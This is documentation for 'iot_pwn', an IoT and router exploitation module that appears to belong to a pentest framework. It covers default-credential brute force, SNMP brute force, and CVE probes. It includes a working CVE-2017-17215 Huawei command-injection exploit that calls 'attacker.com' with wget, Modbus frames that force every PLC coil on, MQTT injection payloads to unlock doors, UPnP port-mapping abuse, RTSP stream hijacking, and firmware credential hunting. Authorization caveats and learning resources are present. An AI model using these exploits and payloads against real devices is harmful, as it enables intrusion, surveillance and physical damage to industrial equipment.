iot_pwn.

IoT and router exploitation module — default credential attacks across SSH, Telnet, FTP, and HTTP admin panels; SNMP community string brute-force; UPnP SSDP exposure detection; RTSP no-auth stream checks; and embedded CVE probes for known router vulnerabilities. Inspired by routersploit.

VANTA Module Network / IoT Default Creds SNMP Brute UPnP / SSDP RTSP No-Auth CVE Probes routersploit Python 3.8+ v0.0.1
CategoryNetwork / IoT
LanguagePython 3
Author0xb0rn3
Version1.0.1
StatusStable
LicenseMIT
Beginner Startup
New to VANTA or iot_pwn? Start here.
Foundations guide →
What you need first
  • ▸ IoT device(s) on your network (router, camera, smart switch)
  • ▸ nmap installed: pacman -S nmap
  • mosquitto-clients for MQTT: pacman -S mosquitto
Your first safe command
set target 192.168.1.0/24
set operation scan
run
Operations by difficulty
  • Easy: scan, default_creds, banner_grab
  • Medium: mqtt_probe, rtsp_stream, firmware_pull
  • Advanced: modbus_exploit, upnp_inject, custom_payload
Key terms: IoT — Internet of Things — networked embedded devices (cameras, sensors, routers)  ·  MQTT — Lightweight IoT messaging protocol, often unauthenticated on internal networks  ·  RTSP — Real Time Streaming Protocol — used by IP cameras for live video  ·  Shodan — Search engine for internet-exposed devices and services  — Full glossary →

Overview

What iot_pwn does

iot_pwn is the IoT and router exploitation module inside VANTA. It performs automated default credential attacks across SSH, Telnet, FTP, and HTTP admin panels; brute-forces SNMP community strings; detects unauthenticated UPnP SSDP exposure; checks for RTSP streams accessible without authentication; and probes for known high-severity router CVEs — all against a single target IP in one run.

The credential database embeds 68 credential pairs sourced from routersploit and real-world IoT vendor defaults, covering Huawei, ZTE, TP-Link, D-Link, Zyxel, Netgear, Cisco, Ubiquiti, Dahua, and Hikvision. SNMP community string brute-force uses a built-in list of 24 commonly observed strings. All attack modules execute concurrently via Python's ThreadPoolExecutor, with per-service stop-on-success logic so the run ends as soon as valid credentials are found.

Credentials
68 Pairs
Embedded default credential pairs from routersploit + 10 major IoT vendors. Stop-on-success per service.
SNMP
24 Communities
UDP raw-socket brute-force of 24 community strings on port 161. Extracts sysDescr on success.
UPnP
SSDP Probe
M-SEARCH multicast probe on UDP 1900. Captures server banner and location URL.
RTSP
No-Auth Check
OPTIONS probe on common RTSP ports. Flags streams reachable without a 401 challenge.
CVEs
4 Probes
Active probes for CVE-2017-17215, CVE-2020-29583, CVE-2021-20090, CVE-2019-16920.
Concurrency
ThreadPool
All modules run in parallel via ThreadPoolExecutor. Configurable thread count and per-connection timeout.
HTTP
Admin Discovery
Probes 6 common web ports. Detects admin panels and tests Basic/Digest authentication.
Output
JSON Report
Structured JSON with creds, SNMP data, UPnP banners, open ports, CVE hits, and scan duration.

Quick Start

Running iot_pwn

Load the module inside the VANTA console with use iot_pwn, then provide a target IP and run. All attack modules are enabled by default. Individual modules can be toggled off with boolean parameters.

# Full default scan against a router
use iot_pwn
run 192.168.1.1

# HTTP + SNMP only
use iot_pwn
set ssh false
set telnet false
set ftp false
set rtsp false
set upnp false
run 192.168.1.1

# Fast scan, limited creds
use iot_pwn
set max_creds 20
set timeout 2
run 192.168.1.1
i Install paramiko before running SSH checks. HTTP checks require requests. All other modules (Telnet, FTP, SNMP, RTSP, UPnP) rely only on the Python standard library.

Reference

Attack modules

Each module targets a specific protocol. All modules run concurrently. Modules that find valid credentials stop testing remaining pairs immediately.

Module Protocol Port Description Requires
SSH TCP 22 Default credential testing via paramiko paramiko
Telnet TCP 23 Default credential testing via raw socket (no telnetlib) stdlib
FTP TCP 21 Default credential testing via ftplib stdlib
HTTP TCP 80/443/8080/8443/8888/9090 Admin panel discovery + Basic/Digest credential testing requests
SNMP UDP 161 Community string brute-force via raw UDP packets stdlib
RTSP TCP 554/7000/8554 No-auth stream detection via OPTIONS probe stdlib
UPnP UDP 1900 SSDP M-SEARCH exposure detection stdlib
! Telnet credential testing uses a raw socket implementation instead of the deprecated telnetlib module, ensuring compatibility with Python 3.11+ where telnetlib was removed.

Parameters

All parameters are set with set <param> <value> inside the VANTA console before running.

Parameter Type Default Description
target string required Target IP address
ssh bool true Test SSH default credentials
telnet bool true Test Telnet default credentials
ftp bool true Test FTP default credentials
http bool true HTTP admin panel discovery + credential testing
snmp bool true SNMP community string brute-force
rtsp bool true RTSP no-auth stream check
upnp bool true UPnP SSDP exposure check
threads int 20 Concurrent worker threads
timeout float 3.0 Per-connection timeout (seconds)
max_creds int 68 Max credential pairs to test per service
i Reducing max_creds and timeout gives a fast triage pass. The full 68-pair list with default timeout is recommended for thorough assessments.

CVE checks

iot_pwn embeds active exploit probes for four high-impact router CVEs. Each probe is run as part of the main scan pass and findings are included in the vulnerabilities list of the JSON output.

CVE Severity Target Description
CVE-2017-17215 CRITICAL Huawei HG532 UPnP SOAP command injection via NewStatusURL — allows unauthenticated remote code execution through the TR-064 interface
CVE-2020-29583 CRITICAL Zyxel firewalls/APs Hardcoded backdoor account (zyfwp) with a fixed plaintext password present in firmware — full admin access
CVE-2021-20090 CRITICAL Arcadyan routers Path traversal in web interface allowing authentication bypass — affects multiple ISP-branded devices sharing the same Arcadyan firmware
CVE-2019-16920 CRITICAL D-Link routers Unauthenticated command injection via the ping diagnostic endpoint — no authentication required, OS-level command execution
! All four CVE probes send real HTTP requests to the target. Use only on networks and devices you are authorised to test. A successful CVE hit is reported as a CRITICAL finding in the output.

Output structure

iot_pwn returns a structured JSON object. All findings are keyed by service or check type.

{
  "target":       "192.168.1.1",
  "open_ports":   [21, 22, 23, 80, 161],
  "creds": {
    "ssh":    [{"user": "admin", "pass": "admin"}],
    "telnet": [],
    "ftp":    [{"user": "admin", "pass": "1234"}],
    "http":   [{"user": "admin", "pass": "password"}]
  },
  "snmp": {
    "valid_communities": ["public", "private"],
    "sys_info": "Linux router 3.10.49 #1 SMP"
  },
  "upnp": {
    "exposed": true,
    "server":  "Linux/2.6.39, UPnP/1.0, Portable SDK for UPnP/1.6.18",
    "location": "http://192.168.1.1:1900/rootDesc.xml"
  },
  "rtsp":         true,
  "admin_panels": ["http://192.168.1.1:80/", "http://192.168.1.1:8080/"],
  "http_banners": {
    "80":   "Server: GoAhead/3.6.5",
    "8080": "Server: mini_httpd/1.30"
  },
  "vulnerabilities": [
    {
      "id":       "CVE-2017-17215",
      "severity": "CRITICAL",
      "desc":     "Huawei HG532 UPnP SOAP command injection"
    }
  ],
  "summary": "2 services with default credentials. SNMP public/private accessible. UPnP exposed. 1 CVE confirmed.",
  "scan_duration": 14.7
}

Field reference

FieldTypeDescription
targetstringThe IP address that was scanned
open_portslist[int]TCP/UDP ports found open during pre-scan
credsdictPer-service lists of {user, pass} pairs that authenticated successfully
snmpdictValid community strings found and sysDescr value extracted from the device
upnpdictWhether SSDP responded; captured server banner and location URL
rtspboolTrue if any RTSP port responded without requiring authentication
admin_panelslist[str]URLs of discovered HTTP admin panels
http_bannersdictServer header values keyed by port number
vulnerabilitieslistCVE probe results — each entry has id, severity, and desc
summarystringHuman-readable one-line summary of all findings
scan_durationfloatTotal elapsed seconds for the complete scan

Dependencies

The core module — Telnet, FTP, SNMP, RTSP, UPnP — requires only the Python standard library. Two optional packages unlock SSH and HTTP attack modules.

# Optional but recommended
pip3 install paramiko    # SSH credential testing
pip3 install requests    # HTTP admin panel discovery
i If paramiko is not installed, the SSH module is silently skipped — no hard failure. The same applies to requests and the HTTP module. Install both for a complete assessment.
PackageEnablesInstall
paramikoSSH default credential testing on port 22pip3 install paramiko
requestsHTTP admin panel discovery + Basic/Digest auth testingpip3 install requests
stdlib onlyTelnet, FTP, SNMP, RTSP, UPnP, CVE probesNo install needed

Examples

Full scan of a home router

Run all attack modules against a consumer router at 192.168.1.1. Credentials, SNMP communities, and CVE hits are all reported in a single JSON output.

use iot_pwn
run 192.168.1.1

HTTP and SNMP audit only

Disable all other modules to focus on web admin panel discovery and SNMP exposure — useful when you already know SSH/Telnet are closed.

use iot_pwn
set ssh false
set telnet false
set ftp false
set rtsp false
set upnp false
run 192.168.1.1

Fast triage with limited credentials

Reduce max_creds to the 20 most common pairs and lower the per-connection timeout for a quick sweep. Suitable for initial triage across multiple devices.

use iot_pwn
set max_creds 20
set timeout 2
run 192.168.1.1

IP camera check — RTSP and HTTP only

Target an IP camera that you know exposes RTSP and an HTTP management interface. All other modules are disabled to reduce noise.

use iot_pwn
set ssh false
set telnet false
set ftp false
set snmp false
set upnp false
run 192.168.1.100

Industrial router — SNMP + CVE focus

When targeting a Huawei or D-Link router in an industrial segment, focus on SNMP community brute-force and the embedded CVE probes. Disable credential-based modules to keep traffic minimal.

use iot_pwn
set ssh false
set telnet false
set ftp false
set http false
set rtsp false
set upnp false
set snmp true
run 10.0.1.1

Aggressive full scan with increased threads

Increase thread count for faster concurrent testing on a fast local network. All modules enabled, full credential list.

use iot_pwn
set threads 50
set timeout 5
run 192.168.0.1

IoT Architecture Deep Dive

Before you can attack an IoT device you need to understand what it is. An Internet of Things device is an embedded computer — usually running a stripped-down Linux kernel on a MIPS, ARM, or x86 SoC — that controls a physical thing: a router, camera, smart plug, industrial controller, or sensor. Unlike a server it has no keyboard, limited RAM (8–256 MB), and often ships with factory credentials that owners never change.

The IoT software stack

┌─────────────────────────────────────────────┐
│  Application layer — busybox httpd, dropbear │  ← your target
│  (Telnet server, web UI, MQTT broker, etc.)  │
├─────────────────────────────────────────────┤
│  Middleware — uClibc / musl, dbus, wpa_supplicant│
├─────────────────────────────────────────────┤
│  Linux kernel (2.6–5.x) on MIPS/ARM/x86    │
├─────────────────────────────────────────────┤
│  Bootloader — U-Boot, CFE, GRUB             │
├─────────────────────────────────────────────┤
│  Flash (NAND/NOR) — firmware image          │
│  SoC — Broadcom BCM63xx, MediaTek MT7620,   │
│          Qualcomm IPQ40xx, Realtek RTL8197   │
└─────────────────────────────────────────────┘

Attack surface categories

SurfaceInterfaceiot_pwn module
Remote managementTelnet :23, SSH :22, HTTP :80/:8080default_creds, banner_grab
Media streamingRTSP :554rtsp_stream
Messaging busMQTT :1883 (clear), :8883 (TLS)mqtt_probe
DiscoveryUPnP SSDP :1900 UDP, mDNS :5353 UDPupnp_inject
Industrial protocolsModbus/TCP :502, DNP3 :20000modbus_exploit
Update mechanismHTTP firmware pull (unsigned)firmware_pull
Physical debugUART 3.3V serial, JTAGmanual (not automated)

Physical debug: UART and JTAG

Most IoT routers have a 3.3V UART port on the PCB. Connect a USB-to-UART adapter (CP2102 / CH340), find the TX/RX/GND pads with a multimeter, and you get a root shell at U-Boot before the OS boots. JTAG exposes full CPU state including memory dump — useful for extracting firmware when the web interface is locked.

screen /dev/ttyUSB0 115200     # attach to UART console
# Hit Ctrl+C at U-Boot prompt to stop autoboot
# Then: run bootcmd or tftp-boot custom kernel

iot_pwn architecture (Python)

iot_pwn.py
├── main(json_input)          # VANTA entry point — reads JSON params
├── scan_target()             # nmap --open on IoT port list
├── credential_modules/
│   ├── try_telnet(ip, user, pwd, timeout)  # socket + telnetlib
│   ├── try_ssh(ip, user, pwd)              # paramiko.SSHClient
│   ├── try_ftp(ip, user, pwd)              # ftplib.FTP
│   └── try_http(ip, user, pwd)             # requests.Session + form POST
├── protocol_modules/
│   ├── mqtt_probe(ip, port)   # paho-mqtt subscribe #
│   ├── rtsp_stream(ip)        # OPTIONS / DESCRIBE RTSP/1.0
│   ├── upnp_inject(ip)        # SSDP M-SEARCH + SUBSCRIBE
│   └── modbus_exploit(ip)     # raw TCP socket Modbus frames
└── analysis/
    ├── banner_grab(ip)        # nc-style read first 512 bytes
    ├── snmp_walk(ip)          # pysnmp GetNext OID 1.3.6.1
    └── firmware_pull(url)     # requests.get + binwalk

MQTT Protocol Internals

What is MQTT? MQTT (Message Queuing Telemetry Transport) is a publish-subscribe messaging protocol designed for constrained devices. A central broker receives messages from publishers and delivers them to subscribers who have registered interest in a topic. Every IoT sensor, smart bulb, and industrial sensor is likely talking MQTT. Mosquitto is the most common broker; cloud IoT platforms (AWS IoT Core, Azure IoT Hub) use MQTT over TLS.

Default port: 1883 (plaintext). TLS: 8883. WebSocket: 9001.

MQTT packet structure

┌──────────────────────────────────────────────┐
│  Fixed Header (1–5 bytes)                    │
│  ┌────────────┬────────────┐                 │
│  │ Control (1B)│ Remaining │                 │
│  │ [Type|Flags]│ Length    │                 │
│  └────────────┴────────────┘                 │
│  Variable Header (type-specific)             │
│  Payload                                     │
└──────────────────────────────────────────────┘

Control byte (first byte):
  Bits 7-4: Packet type
  Bits 3-0: Flags (type-dependent)

Packet types:
  0x10 = CONNECT      0x20 = CONNACK
  0x30 = PUBLISH      0x40 = PUBACK
  0x82 = SUBSCRIBE    0x90 = SUBACK
  0xC0 = PINGREQ      0xD0 = PINGRESP
  0xE0 = DISCONNECT

CONNECT packet bytes (unauthenticated broker)

10 1F                  # CONNECT, remaining length = 31
00 04 4D 51 54 54      # Protocol Name: "MQTT" (length-prefixed)
04                     # Protocol Level: 4 (MQTT 3.1.1)
02                     # Connect Flags: Clean Session bit set
00 3C                  # Keep Alive: 60 seconds
00 08                  # Client ID length: 8
68 61 63 6B 74 6F 6F 6C # Client ID: "hacktool"

# If broker has no auth → CONNACK:
20 02 00 00            # CONNACK, length=2, no session, accepted (0x00)

SUBSCRIBE to all topics (wildcard)

82 09                  # SUBSCRIBE, remaining length = 9
00 01                  # Packet Identifier = 1
00 01 23               # Topic "#" (length=1, char 0x23 = '#')
00                     # QoS 0

# Topic wildcards:
#   #  = match everything (e.g. subscribe to ALL messages)
#   +  = single level (e.g. home/+/temperature)
#   /  = level separator

# iot_pwn does this to harvest all traffic from an open broker

PUBLISH — injecting a message

# Publish "PWNED" to topic "home/light/switch"
30 1E                         # PUBLISH, QoS 0, no retain
00 12                         # Topic length = 18
68 6F 6D 65 2F 6C 69 67 68 74 2F 73 77 69 74 63 68
                              # "home/light/switch"
50 57 4E 45 44                # Payload: "PWNED"

# Real attack: publish {"state":"ON"} to control a smart plug
# or publish malformed JSON to crash the firmware parser

Attack scenarios

AttackMethodImpact
Topic enumerationSUBSCRIBE # on open brokerHarvest all sensor data, credentials in topics
Message injectionPUBLISH to actuator topicControl lights, locks, industrial relays
Broker takeoverAdmin credentials → $SYS/config topicsReroute all messages, DoS the broker
MQTT-over-WebSocketBypass firewall — port 9001Access broker from web browser context

UPnP SSDP discovery bytes

UPnP uses SSDP (Simple Service Discovery Protocol) — a UDP multicast protocol on 239.255.255.250:1900. iot_pwn sends an M-SEARCH to enumerate all UPnP devices on the subnet, then probes each device's XML descriptor for control URLs that accept SOAP action messages.

# M-SEARCH request (UDP → 239.255.255.250:1900)
M-SEARCH * HTTP/1.1\r\n
Host: 239.255.255.250:1900\r\n
Man: "ssdp:discover"\r\n
ST: ssdp:all\r\n
MX: 3\r\n
\r\n

# Device responds with XML descriptor URL, e.g.:
#   LOCATION: http://192.168.1.1:1780/rootDesc.xml

# SOAP action to add port mapping (IGD — Internet Gateway Device):
POST /upnp/control/WANIPConn1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
<s:Envelope>...<NewExternalPort>9999</NewExternalPort>
  <NewProtocol>TCP</NewProtocol>
  <NewInternalClient>192.168.1.100</NewInternalClient>...
# → Router forwards port 9999 from WAN → attacker's machine

Firmware Analysis

What is firmware? Firmware is the operating system and application code burned into a device's flash memory. It's a binary blob containing: a compressed Linux kernel, a root filesystem (usually SquashFS or JFFS2), bootloader config, and sometimes hardcoded credentials, private TLS keys, and backdoor accounts left in by manufacturers.

Firmware file layout (typical router)

Offset   Length   Content
0x0000   4        Magic bytes identifying format
                  Trx: "HDR0" (48 44 52 00)
                  Squashfs: "sqsh" (73 71 73 68)
                  gzip: 1F 8B 08 ...
                  uImage: 27 05 19 56

0x0000   0x40     TRX header (Linksys/Broadcom):
  [MAGIC 4B][CRC32 4B][version 2B][flags 2B]
  [partition offsets × 3]

After header:
  [compressed kernel — gzip/lzma]
  [root filesystem — SquashFS/JFFS2]

Extracting with binwalk

binwalk firmware.bin          # signatures scan
binwalk -e firmware.bin       # extract known formats
binwalk -Me firmware.bin      # recursive extraction (matryoshka)

# After extraction, root filesystem is in _firmware.bin.extracted/
ls _firmware.bin.extracted/squashfs-root/
# etc/  bin/  usr/  lib/  www/  ...

# Hunt for credentials
grep -r "admin\|password\|passwd\|secret" squashfs-root/etc/
grep -r "BEGIN RSA\|BEGIN EC" squashfs-root/  # embedded private keys

# Check for backdoor accounts
cat squashfs-root/etc/passwd
cat squashfs-root/etc/shadow  # if present, crack with hashcat

Common findings in firmware

FindingLocationImpact
Hardcoded creds/etc/passwd, /etc/config/, web UI sourceFull device access
Embedded TLS cert+key/etc/ssl/, /etc/certs/HTTPS MITM, impersonate device
Debug backdoorTelnetd started if magic UDP packet seenPersistent root shell
Unsigned upgradeHTTP fetch + flash write, no signature checkPersistent firmware implant
Stale packagesuClibc 0.9.33, OpenSSL 0.9.8Known CVEs (Heartbleed, etc.)

iot_pwn firmware_pull operation

# 1. Identify update URL from device web UI (common paths)
GET /cgi-bin/fwupdate.cgi
GET /upgrade.cgi
GET /admin/firmware.asp

# 2. iot_pwn fetches the firmware binary
use iot_pwn
set operation firmware_pull
set firmware_url http://192.168.1.1/firmware_dump
run 192.168.1.1

# 3. Output: saved to loot/firmware_<ip>_<timestamp>.bin
# 4. Manually analyze with binwalk

JFFS2 and SquashFS filesystems

# SquashFS magic: 73 71 73 68 (sqsh)
# Block-compressed read-only FS — used for root in most routers
unsquashfs squashfs-root.bin   # extract to squashfs-root/

# JFFS2 magic: 19 85 (little-endian node magic)
# Writable journalling FS — used for /overlay, /etc in OpenWRT
jefferson jffs2.bin -d output/ # extract JFFS2

# YAFFS2 — NAND flash FS, magic varies per device
# Common on older Android devices and Huawei routers

Modbus / ICS Protocol Bytes

What is Modbus? Modbus is a serial communication protocol from 1979 now running over TCP (port 502). It is the dominant protocol in industrial control systems (ICS/SCADA): PLCs, RTUs, HMIs, power meters, HVAC controllers. Modbus has zero authentication — any device on the network can read sensor values or write actuator commands.

Modbus/TCP frame format

┌────────────────────────────────────────────────────────┐
│ MBAP Header (7 bytes)                                  │
│  Transaction ID  [2B] — echo'd back in response        │
│  Protocol ID     [2B] — always 00 00 for Modbus        │
│  Length          [2B] — bytes following this field     │
│  Unit ID         [1B] — slave/device ID (0xFF = any)  │
├────────────────────────────────────────────────────────┤
│ PDU (Protocol Data Unit)                               │
│  Function Code   [1B]                                  │
│  Data            [variable]                            │
└────────────────────────────────────────────────────────┘

Function codes and attack payloads

FC 01 (Read Coils) — read output relay states
  Request:  00 01 00 00 00 06 FF  01 00 00 00 10
            ──────────────────── ── ─────  ─────
            MBAP (txid=1)        FC start  count=16

FC 03 (Read Holding Registers) — read sensor/config values
  Request:  00 02 00 00 00 06 FF  03 00 00 00 0A
  # Read 10 registers starting at 0x0000

FC 06 (Write Single Register) — set a value
  Request:  00 03 00 00 00 06 FF  06 00 01 00 64
            ──────────────────── ── ─────  ─────
            MBAP                 FC addr=1 value=100

FC 0F (Write Multiple Coils) — force ALL coils ON
  Request:  00 04 00 00 00 09 FF  0F 00 00 00 08 01 FF
  # Sets 8 coils starting at 0x0000, all to 1 (ON)

# iot_pwn modbus_exploit sends FC 0F to set all outputs HIGH
# On a physical PLC this can open valves, trip circuit breakers

RTSP stream hijacking bytes

# RTSP (Real Time Streaming Protocol) — IP cameras
OPTIONS rtsp://192.168.1.100:554/ RTSP/1.0\r\n
CSeq: 1\r\n
\r\n

# Response includes methods: OPTIONS DESCRIBE SETUP PLAY TEARDOWN

DESCRIBE rtsp://192.168.1.100:554/live RTSP/1.0\r\n
CSeq: 2\r\n
Accept: application/sdp\r\n
\r\n

# Response: SDP (Session Description Protocol) body
# Shows: codec (H.264), track URLs, timing

SETUP rtsp://192.168.1.100:554/live/track1 RTSP/1.0\r\n
CSeq: 3\r\n
Transport: RTP/AVP;unicast;client_port=9000-9001\r\n
\r\n

PLAY rtsp://192.168.1.100:554/live RTSP/1.0\r\n
CSeq: 4\r\n
Session: <session-id-from-setup>\r\n
\r\n
# RTP video packets now stream to UDP port 9000
# View with: vlc rtsp://192.168.1.100:554/live

Customization & Extension

iot_pwn is built to be extended. Every protocol module is a self-contained function. You can add custom credential lists, new protocol scanners, or plug in your own CVE exploit code.

Adding a custom credential list

# tools/network/iot_pwn/iot_pwn.py

# Default credential list (top 30 IoT defaults)
DEFAULT_CREDS = [
    ("admin", "admin"), ("admin", "password"), ("admin", "1234"),
    ("root", "root"), ("root", ""), ("admin", ""),
    ("user", "user"), ("support", "support"),
    # ... more defaults
]

# Extend with your own list loaded from file
def load_custom_creds(path):
    creds = []
    with open(path) as f:
        for line in f:
            user, _, pwd = line.strip().partition(":")
            creds.append((user, pwd))
    return creds

# In main():
if params.get("cred_file"):
    creds = load_custom_creds(params["cred_file"])
else:
    creds = DEFAULT_CREDS

Adding a custom protocol scanner

# Add CoAP (Constrained Application Protocol) scanner
# CoAP is like HTTP for IoT — runs on UDP:5683

import socket, struct

def coap_discover(ip, port=5683):
    """Send CoAP GET /.well-known/core to enumerate resources."""
    # CoAP header: 4 bytes
    # Ver=1, Type=0 (CON), TKL=0, Code=0.01 (GET), MsgID=1
    hdr = struct.pack(">BBH", 0x40, 0x01, 0x0001)
    # Option 11 (Uri-Path): ".well-known"
    option_wk  = b'\xBB' + b'.well-known'
    # Option 11 delta=0: "core"
    option_core = b'\x04' + b'core'
    pkt = hdr + option_wk + option_core

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    sock.sendto(pkt, (ip, port))
    try:
        data, _ = sock.recvfrom(1024)
        # Parse CoAP response — payload after options
        return {"coap": True, "resources": data[4:].decode(errors='replace')}
    except socket.timeout:
        return {"coap": False}

# Register in module.json:
# { "name": "coap_discover", "description": "CoAP resource enumeration" }

Adding a CVE check

# CVE-2017-17215: Huawei HG532 — UPnP RCE
# POST /ctrlt/DeviceUpgrade_1 with shell metacharacter injection

def cve_2017_17215(ip):
    import requests
    url = f"http://{ip}:37215/ctrlt/DeviceUpgrade_1"
    payload = """<?xml version="1.0" ?><s:Envelope ...>
  <NewStatusURL>$(wget http://attacker.com/$(id))</NewStatusURL>
  <NewDownloadURL>HUAWEIUPNP</NewDownloadURL></s:Envelope>"""
    headers = {
        "Authorization": "Digest username=\"dslf-config\"",
        "SOAPAction": "urn:schemas-upnp-org:service:WANPPPConnection:1#ForceTermination"
    }
    try:
        r = requests.post(url, data=payload, headers=headers, timeout=5)
        return r.status_code == 200
    except Exception:
        return False

# Add to CVE_CHECKS dict in iot_pwn.py:
CVE_CHECKS["CVE-2017-17215"] = {
    "fn": cve_2017_17215,
    "description": "Huawei HG532 UPnP RCE",
    "affected": "Huawei HG532 series"
}

Integrating with iot_pwn's output format

# All operations must return a dict matching the VANTA JSON schema:
{
  "success": True,
  "target": "192.168.1.1",
  "module": "iot_pwn",
  "operation": "coap_discover",
  "findings": [
    {
      "type": "open_service",
      "service": "coap",
      "port": 5683,
      "details": "Resources: </sensors/temperature>,</actuators/relay>"
    }
  ],
  "loot": {
    "credentials": [],
    "firmware": None,
    "cves": []
  },
  "duration_s": 1.23
}

Learning Path

Recommended resources (free first)

ResourceFormatFocus
TryHackMe — IoT BasicsGuided labIoT attack surface, Telnet/SSH creds
OWASP IoT Top 10ReferenceSecurity categories with examples
Attify IoT ExploitationCourseFirmware extraction, UART, JTAG
The IoT Hacker's Handbook — Aditya GuptaBookComprehensive IoT pentest methodology
OWASP FSTMReferenceFirmware Security Testing Methodology
TryHackMe — Firmware AnalysisGuided labbinwalk, SquashFS, hardcoded creds
IoT Security ResourcesCurated listTools, CVEs, research papers
Practical IoT Hacking — Fotios Chantzis et al.BookRadio (BLE/Zigbee/Z-Wave), hardware, protocols

Hands-on lab environments

LabDescriptionURL
DVWA-IoTDeliberately vulnerable IoT web appGitHub: nicowillis/dvwa-iot
VulnHub: Damn Vulnerable Router FirmwareMIPS router firmware imagevulnhub.com
CTF: RHME2Hardware CTF with UART/AVR challengesriscure.com/challenge
Mosquitto broker (local)Run a local MQTT broker: docker run -p 1883:1883 eclipse-mosquittohub.docker.com

Practice progression (8 weeks)

Week 1 — Foundations
  ▸ Read OWASP IoT Top 10
  ▸ Install mosquitto and mqtt-explorer
  ▸ Run: docker run -p 1883:1883 eclipse-mosquitto (open broker)
  ▸ SUBSCRIBE # — see what's flowing

Week 2 — Network scanning
  ▸ nmap -p 23,22,80,443,554,1883,5683,502 <local_subnet>
  ▸ iot_pwn scan + banner_grab on every open device
  ▸ Note firmware version strings from banners

Week 3 — Default credentials
  ▸ iot_pwn default_creds on your own router
  ▸ Try Shodan.io query: "default password" + device model
  ▸ Check RouterPasswords.com + datarecovery.com/rd/default-router-passwords/

Week 4 — Firmware extraction
  ▸ Download router firmware from manufacturer support page
  ▸ binwalk -Me firmware.bin
  ▸ Grep for passwords, certs, API keys
  ▸ Try: TryHackMe Firmware Analysis room

Week 5 — MQTT attack
  ▸ Set up Mosquitto with anonymous access
  ▸ Subscribe # → publish to actuator topics
  ▸ Try iot_pwn mqtt_probe on your local broker
  ▸ Capture with Wireshark: filter mqtt

Week 6 — UPnP and RTSP
  ▸ iot_pwn upnp_inject on your router
  ▸ Verify port mapping was added with: netstat -rn
  ▸ If you have an IP camera: iot_pwn rtsp_stream to grab the stream
  ▸ View RTSP in VLC: Media → Open Network Stream

Week 7 — Modbus/ICS
  ▸ Run ModRSsim2 (Windows) or PyModbus simulator on Linux
  ▸ iot_pwn modbus_exploit against simulator
  ▸ Read: ICS CERT advisories at cisa.gov/ics-advisories

Week 8 — CVE exploitation
  ▸ Identify router/camera model + firmware version
  ▸ Search CVE Details or NVD for known vulns
  ▸ Add a custom CVE check to iot_pwn
  ▸ Set up VulnHub DVRF to practice binary exploitation on MIPS

Key tools

ToolPurposeInstall
binwalkFirmware analysis and extractionpacman -S binwalk
mosquitto-clientsMQTT publish/subscribe CLIpacman -S mosquitto
mqtt-explorerGUI MQTT clientmqtt-explorer.com
routersploitFramework for router/IoT exploitationpip install routersploit
firmwalkerPost-extraction file analysisgithub.com/craigz28/firmwalker
PyModbusModbus/TCP client/server in Pythonpip install pymodbus
WiresharkProtocol capture (filter: mqtt, modbus)pacman -S wireshark-qt

H1 What Makes IoT Insecure

Why Billions of Devices Are Trivially Compromised

IoT (Internet of Things) refers to the vast category of networked devices that are not traditional computers - routers, cameras, smart TVs, industrial sensors, medical devices, building management systems. These devices are systematically insecure for a set of structural reasons that have nothing to do with individual programming mistakes. Understanding WHY they are insecure helps you know exactly where to look during an assessment.

Default Credentials
IoT devices ship with factory default usernames and passwords printed in the manual. Users rarely change them. The Mirai botnet in 2016 compromised over 600,000 devices using only 62 hardcoded credential pairs (admin/admin, root/root, admin/1234, etc.). Start every IoT assessment by trying the vendor's default credentials before anything else. Resource: cirt.net/passwords lists defaults by vendor.
No Update Mechanism
Most IoT devices have no automatic firmware update. The vendor may release a security patch, but users must manually download and flash it - a process most users never do. Industrial devices may have update restrictions (downtime windows, certification requirements). Result: devices run firmware that is years or decades old with known, public vulnerabilities.
Open Debug Interfaces
Manufacturers leave debugging interfaces active in production hardware: Telnet (port 23), UART serial ports on circuit boards, JTAG debugging headers, undocumented SSH keys. These are used during manufacturing and quality control and never disabled before shipping. A device that exposes a Telnet shell to the local network with default credentials can be fully compromised in seconds.
Hardcoded Keys
Developers embed secret keys, API tokens, and private SSH keys directly in firmware code. If you extract the firmware (via binwalk), you find these in plaintext. The same key is often shared across every device of that model worldwide - one key to compromise millions of devices. The vendor cannot revoke or rotate a hardcoded key without a firmware update.
Shodan for IoT discovery: Shodan is a search engine for internet-connected devices. Search for port:23 telnet default password or a specific device banner to find thousands of publicly exposed vulnerable devices. Only access devices you own or have written authorization to test. Shodan is a reconnaissance tool - use it to understand the attack surface of devices you are assessing.

H2 MQTT Protocol Deep Dive

The Publish/Subscribe Protocol Behind Smart Devices

MQTT (Message Queuing Telemetry Transport) is a lightweight publish/subscribe messaging protocol designed for constrained devices. It runs on port 1883 (unencrypted) or 8883 (TLS). It is used in home automation, industrial sensors, vehicle tracking, and medical devices. Misconfigured MQTT brokers are a common and critical finding in IoT assessments.

Broker
The MQTT broker is the central message router. All clients connect to it. The broker receives published messages and forwards them to all clients subscribed to that topic. Popular brokers: Mosquitto (open source), HiveMQ, AWS IoT Core, Azure IoT Hub. A misconfigured broker with no authentication is fully readable and writable by anyone.
Topics
Topics are hierarchical strings that categorize messages. Example: home/livingroom/temperature. Clients subscribe to topics using wildcards: # matches everything below (subscribe to # to receive ALL messages on the broker). + matches one level: home/+/temperature matches all rooms.
No Authentication by Default
Mosquitto's default configuration requires no username or password. Any client can connect and subscribe to # to receive every message from every device. Industrial facilities using MQTT to transmit sensor data, alarm states, and control commands may be fully readable and writable by anyone with network access to the broker.
Control via Publish
If the broker has no authentication and IoT devices listen on control topics (e.g. home/livingroom/lights/command), an attacker can publish arbitrary commands. Smart locks, industrial actuators, and HVAC systems controlled via MQTT can be manipulated by publishing to their command topic.
# Connect to an MQTT broker and subscribe to ALL topics
mosquitto_sub -h 192.168.1.100 -p 1883 -t '#' -v
  # -t '#' = subscribe to wildcard (all topics)
  # -v = verbose (show topic and message together)

# Publish a command to a control topic
mosquitto_pub -h 192.168.1.100 -p 1883 -t 'home/door1/command' -m 'UNLOCK'

# Connect with username and password (if auth is configured)
mosquitto_sub -h broker -t '#' -u 'admin' -P 'password' -v

# MQTT with TLS (port 8883)
mosquitto_sub -h broker -p 8883 -t '#' --cafile ca.crt -v

# List broker topics using mqtt-explorer or mqttx CLI tool
mqttx sub -h 192.168.1.100 -t '#' -v

What is Inside a Firmware Image - and How to Extract It

